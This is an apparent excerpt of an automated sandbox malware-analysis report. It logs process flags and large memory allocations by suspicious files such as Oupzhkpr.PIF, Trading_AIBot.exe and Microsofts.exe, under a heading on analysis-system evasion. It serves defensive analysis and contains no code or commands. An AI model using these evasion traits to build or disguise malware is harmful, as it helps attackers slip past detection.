Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\dllhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\dllhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\dllhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Allocates many large memory junks

Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Memory allocated: 2DB0000 memory commit 500006912
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Memory allocated: 2DB1000 memory commit 500178944
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Memory allocated: 2DDC000 memory commit 500002816
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Memory allocated: 2DDD000 memory commit 500199424
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Memory allocated: 2E0E000 memory commit 501014528
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Memory allocated: 2F06000 memory commit 500006912
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Memory allocated: 2F08000 memory commit 500015104
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: 2C30000 memory commit 500006912	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: 2C31000 memory commit 500178944	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: 2C5C000 memory commit 500002816	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: 2C5D000 memory commit 500199424	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: 2C8E000 memory commit 501014528	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: 2D86000 memory commit 500006912	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: 2D88000 memory commit 500015104	Jump to behavior
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Memory allocated: 2B90000 memory commit 500006912
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Memory allocated: 2B91000 memory commit 500178944
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Memory allocated: 2BBC000 memory commit 500002816
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Memory allocated: 2BBD000 memory commit 500199424
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Memory allocated: 2BEE000 memory commit 501014528
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Memory allocated: 2CE6000 memory commit 500006912
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Memory allocated: 2CE8000 memory commit 500015104

Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Memory allocated: 2EA90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Memory allocated: 2EF40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Memory allocated: 2ED80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Memory allocated: ED0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Memory allocated: 2B90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Memory allocated: 29F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Memory allocated: 5C30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Memory allocated: 2DC30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Memory allocated: BB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Memory allocated: 2640000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Memory allocated: 4640000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Memory allocated: 31CD0000 memory reserve \| memory write watch
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Memory allocated: 31F70000 memory reserve \| memory write watch
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Memory allocated: 31CD0000 memory reserve \| memory write watch
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Memory allocated: 23450000 memory reserve \| memory write watch
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Memory allocated: 25480000 memory reserve \| memory write watch
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Memory allocated: 252E0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Memory allocated: 780000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Memory allocated: 2400000 memory reserve \| memory write watch
